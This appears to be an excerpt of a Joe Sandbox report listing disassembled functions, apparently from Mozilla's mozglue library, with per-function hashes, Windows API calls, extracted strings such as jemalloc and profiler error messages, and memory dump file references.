Opcode ID: 06e504b162a130c7bb65ff8cff8ec0d61efb82de2f9ec09c6cb1af80d8d15d55
Instruction ID: c36e64fd7c6e3a91040db8fc580a367d65daee15940012eea79b76ecf39a13a9
Opcode Fuzzy Hash: 06e504b162a130c7bb65ff8cff8ec0d61efb82de2f9ec09c6cb1af80d8d15d55
Instruction Fuzzy Hash: BFC29E71A057918FD714CF28C980716BBE1BFC9328F28CAADE4698B795D771E841CB81

Function 6C5DE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C5DE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5DEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5DF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5DF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5E0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5E0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0ED4

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 5d8e8b38c4a9697dee5e91d16790f61f52daf6c29c34c61d3fcb85158317c516
Instruction ID: 306ad42a94328f6950e81941a231483de84bad95f619cd9d70a6f5980fe1a2e8
Opcode Fuzzy Hash: 5d8e8b38c4a9697dee5e91d16790f61f52daf6c29c34c61d3fcb85158317c516
Instruction Fuzzy Hash: 90636E71E0025ACFCB14CFACC89069DFBB2FF89314F29826AD855AB755D730A945CB90

Function 6C5B3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C5D7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>[l,?,?,?,6C5B3E7D,?,?), ref: 6C5D777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5B3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5B3F5C
VerSetConditionMask.NTDLL ref: 6C5B3F8D
VerSetConditionMask.NTDLL ref: 6C5B3F99
VerSetConditionMask.NTDLL ref: 6C5B3FA0
VerSetConditionMask.NTDLL ref: 6C5B3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5B3FB4

Strings

nvd3d9wrap.dll, xrefs: 6C5B4466
nvinit.dll, xrefs: 6C5B4479
C>[l, xrefs: 6C5B3E93

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>[l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-910427316
Opcode ID: 20759026474f8cfd9c05b56303d17b8ba8c7c2106c6c2042961e0a21c3d1f641
Instruction ID: aa3e8fd5618b7a21c207c678418ebfd09f207f1c83bc745897f1560a39ea27c7
Opcode Fuzzy Hash: 20759026474f8cfd9c05b56303d17b8ba8c7c2106c6c2042961e0a21c3d1f641
Instruction Fuzzy Hash: 6652D271610B488FD724DF34CC90AAB7BEAAF85204F54496DE592CB752DB34F909CB60

Function 6C58FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FE7B8), ref: 6C58FF81
LeaveCriticalSection.KERNEL32(6C5FE7B8), ref: 6C59022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C590240
EnterCriticalSection.KERNEL32(6C5FE768), ref: 6C59025B
LeaveCriticalSection.KERNEL32(6C5FE768), ref: 6C59027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C58FE99, 6C58FEB7, 6C58FED3, 6C590DB8, 6C590DD3, 6C5919B4, 6C591A10
MOZ_CRASH(), xrefs: 6C590CA7

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 16d82d009368b35b1b67d33ed801a0d089b991ea79e3c4b4cc6236030a2b1547
Instruction ID: 386a01ec3d05d6b7b02c3754d4668c2d860029e3354dd281c7eff6b888122ec1
Opcode Fuzzy Hash: 16d82d009368b35b1b67d33ed801a0d089b991ea79e3c4b4cc6236030a2b1547
Instruction Fuzzy Hash: 5DB2C2716057918FD718CF29C990716BBE1BF89324F28CAADE86A8F795C770E841CB41

Function 6C5C5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C5C5AC8, 6C5C5CBB
expected a Time entry, xrefs: 6C5C5CB6
data, xrefs: 6C5C6131
expected a Count entry, xrefs: 6C5C5AC3
schema, xrefs: 6C5C606D
name, xrefs: 6C5C5E79, 6C5C5E8F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 57473223e71ca2710da187d1b887cbaf22c6af83ac014ba7ed29da9ab27123db
Instruction ID: e2fd2f9def569d13dfd163e3158229a7983cfd411b95ba0b5de1be2a6ec275cc
Opcode Fuzzy Hash: 57473223e71ca2710da187d1b887cbaf22c6af83ac014ba7ed29da9ab27123db
Instruction Fuzzy Hash: D3925BB1A083418FD724CF59C890B9ABBE1BFC9308F54891DE4999B751DB30E949CB93

Function 6C587810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FE744), ref: 6C587885
LeaveCriticalSection.KERNEL32(6C5FE744), ref: 6C5878A5
EnterCriticalSection.KERNEL32(6C5FE784), ref: 6C5878AD
LeaveCriticalSection.KERNEL32(6C5FE784), ref: 6C5878CD
EnterCriticalSection.KERNEL32(6C5FE7DC), ref: 6C5878D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5878E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C58795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5879BB
LeaveCriticalSection.KERNEL32(?), ref: 6C587BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C587C82
LeaveCriticalSection.KERNEL32(6C5FE7DC), ref: 6C587CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C587DAF

Strings

D_l, xrefs: 6C58789F
D_l, xrefs: 6C58787F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D_l$D_l
API String ID: 759993129-563792421
Opcode ID: c8a7dd50cb476b04d478413713fbccf9a7962b67ed07e871c59751198d771a6c
Instruction ID: 37e3b366cfaba7ddd19d8508c7ce88b59eb5a947e49c132e3f201eb3db68e417
Opcode Fuzzy Hash: c8a7dd50cb476b04d478413713fbccf9a7962b67ed07e871c59751198d771a6c
Instruction Fuzzy Hash: 34027371A02229CFDB54CF19C984799B7B5FF88358F2542AAE819A7711D730BE91CF80

Function 6C5C2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5C2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5C2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5C2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5C3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5C3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5C36BF

Strings

set , xrefs: 6C5C36EC
get , xrefs: 6C5C3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5C378D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 743efca13529bac25e43cb4f911d85088c2292a0e6f896a613845930dcc3fc03
Instruction ID: 8891f0da5c5bb74c777991674460cbdaa6a5fdf504dfbbb0b8854dbe058ff1b0
Opcode Fuzzy Hash: 743efca13529bac25e43cb4f911d85088c2292a0e6f896a613845930dcc3fc03
Instruction Fuzzy Hash: A4326E702083818FD724CF64C890AAEBBE2AFC9318F548D1DE59987751DB31E94ACB57

Function 6C5B7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C5B8280, 6C5B83E1
v_l, xrefs: 6C5B8207
(pre-xul), xrefs: 6C5B7E88
schema, xrefs: 6C5B81E3, 6C5B8311
name, xrefs: 6C5B7ECF, 6C5B8335

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v_l
API String ID: 3412268980-2923718347
Opcode ID: 9c61a2ab9d586ef066a03c89faae86810b396d897c21926fa0b540528abeb4e1
Instruction ID: 20440c3a200bca550fba8ef2c8026ad0a4c8d781db6cecd7c7171f6723fca5a2
Opcode Fuzzy Hash: 9c61a2ab9d586ef066a03c89faae86810b396d897c21926fa0b540528abeb4e1
Instruction Fuzzy Hash: 09E17DB1A043508BC714CF698C4065BFBEAFBD9314F144A2DE899E7790DBB0DD098B92

Function 6C5D5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C5D6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5D6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QWl,?), ref: 6C5D6046
OutputDebugStringA.KERNEL32(?,QWl,?), ref: 6C5D6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5D6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5D6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5D6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C5F148E), ref: 6C5D6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QWl,00000000,?), ref: 6C5D60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5D60C4

Strings

QWl, xrefs: 6C5D5FFC, 6C5D6042, 6C5D6045, 6C5D60B3

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QWl
API String ID: 3835517998-3858628496
Opcode ID: 11e403891f1a4cdae279e763cf5de403bda7528f476617fa38d1d1e6cbb3af97
Instruction ID: ad66fca1482efe7a00799c650b44fdc4c29649ec7f8db8f7f343ed19b1c5accd
Opcode Fuzzy Hash: 11e403891f1a4cdae279e763cf5de403bda7528f476617fa38d1d1e6cbb3af97
Instruction Fuzzy Hash: A121B7B1A00208DFDF106F65DC09A9E7BB8FF45214F018428E96AD7240DB75A959CFD5

Function 6C595E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C595EDB
memset.VCRUNTIME140(ew]l,000000E5,?), ref: 6C595F27
LeaveCriticalSection.KERNEL32(?), ref: 6C595FB2
memset.VCRUNTIME140(ew]l,000000E5,?), ref: 6C5961F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C597652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C59730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5972F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C597BCD, 6C597C1F, 6C597C34, 6C5980FD
MOZ_CRASH(), xrefs: 6C597BA4
ew]l, xrefs: 6C595E9C, 6C595F22, 6C5961ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5972E3

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew]l
API String ID: 2613674957-2838383581
Opcode ID: f313f7bea0bc644bd5adc25e09f49af9b0bf7001dde11153eb7138995e7297af
Instruction ID: 74bdf291bfd7df9a10f56e6f1ddd19551344aa6d34e4d8f02e51ff4ccb77e19d
Opcode Fuzzy Hash: f313f7bea0bc644bd5adc25e09f49af9b0bf7001dde11153eb7138995e7297af
Instruction Fuzzy Hash: A6337C716057418FC708CF28C990615BBE2FF85368F29C7AEE9698B7A5D731E841CB81

Function 6C5C4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5C4CAF
ProfileBuffer parse error: %s, xrefs: 6C5C4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5C4D65
-%llu, xrefs: 6C5C4825
data, xrefs: 6C5C49B4
_l, xrefs: 6C5C4F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5C4D0A
schema, xrefs: 6C5C48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5C4DB8, 6C5C4DD8

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free
String ID: _l$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3821728236
Opcode ID: 43cca30d7ccf4fc38e2cbef1648cda453ebb24a2432c6933faea1db2cc4eed3c
Instruction ID: 01ba9c6b841b544344920c8d1651f4bf1b4e2e1f6750f3e678dc8f1b89be9d92
Opcode Fuzzy Hash: 43cca30d7ccf4fc38e2cbef1648cda453ebb24a2432c6933faea1db2cc4eed3c
Instruction Fuzzy Hash: 69723F71A14B858BD321CF34C8517ABF7E5BFDA344F108B1DE4996B610EB70A886DB42

Function 6C59D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5AD1C5), ref: 6C59D4F2
LeaveCriticalSection.KERNEL32(6C5FE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5AD1C5), ref: 6C59D50B

Part of subcall function 6C57CFE0: EnterCriticalSection.KERNEL32(6C5FE784), ref: 6C57CFF6
Part of subcall function 6C57CFE0: LeaveCriticalSection.KERNEL32(6C5FE784), ref: 6C57D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5AD1C5), ref: 6C59D52E
EnterCriticalSection.KERNEL32(6C5FE7DC), ref: 6C59D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C59D6A6
LeaveCriticalSection.KERNEL32(6C5FE7DC), ref: 6C59D712
LeaveCriticalSection.KERNEL32(6C5FE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5AD1C5), ref: 6C59D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C59D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C59D82C
<jemalloc>, xrefs: 6C59D827

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 08cf3960b079eb2afc89c2583647ab8efea7c19ef8578361bd525b93efae8a6e
Instruction ID: 6e04bee439b7f498f4e05229d2cb87daf745d8f2b88fc08cbf82cd1324e94828
Opcode Fuzzy Hash: 08cf3960b079eb2afc89c2583647ab8efea7c19ef8578361bd525b93efae8a6e
Instruction Fuzzy Hash: 5691C471A047818FD718CF29CD9072AB7E2EB89314F15896EE56AC7B81D770E845CF82

Function 6C5D4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C5D4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D4F2E
moz_xmalloc.MOZGLUE ref: 6C5D4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C5D4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5D52E6
Sleep.KERNEL32(00000010), ref: 6C5D5481
free.MOZGLUE(?), ref: 6C5D5498

Strings

(, xrefs: 6C5D5250

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 4b540bd4e5bcf1325e03bcd6355eae850c83f7a7303e2b271d70378037f7a865
Instruction ID: 3fd6ea2f8f683e433e354363818a88fcb1aa88337d3c643d56fc35b344795e2a
Opcode Fuzzy Hash: 4b540bd4e5bcf1325e03bcd6355eae850c83f7a7303e2b271d70378037f7a865
Instruction Fuzzy Hash: DEF1D171A18B008FC716DF39885062BB7F9AFD6284F06872EF856E7651DB319846CB81

Function 6C5D7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C5D7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C5D7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5D707E

Part of subcall function 6C5881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5881DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5D7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5D709C
LocalFree.KERNEL32(?), ref: 6C5D70AA

Strings

### ERROR: %s: %s, xrefs: 6C5D7087
(null), xrefs: 6C5D706A, 6C5D7083

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 1c6cc98a84e9dfd128964ee608a5afa1326b34e6cb1cfe9478fc7fe01977bbe0
Instruction ID: 43fb88a775e6b678c770f5c5cc3b26b7cc2d5991cef55821ced846f4c3cfdb3a
Opcode Fuzzy Hash: 1c6cc98a84e9dfd128964ee608a5afa1326b34e6cb1cfe9478fc7fe01977bbe0
Instruction Fuzzy Hash: 8001B9B1A00108EFDB08BBA4EC4ADAF7BBCEF49215F060425FA15E7241E67169148FA5

Function 6C599E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C599EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C599F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C599F34
LeaveCriticalSection.KERNEL32(?), ref: 6C59A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C59A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C59A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C59A8B1, 6C59A8D4, 6C59A8EF

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 84f114beaa5c0c387c0a93de675230b1745e70de3f60b4abf8de3fee050d9558
Instruction ID: b8ac92689fbcf565a73275ece2ef536267a4e6d061c72865d0a1c701668884d1
Opcode Fuzzy Hash: 84f114beaa5c0c387c0a93de675230b1745e70de3f60b4abf8de3fee050d9558
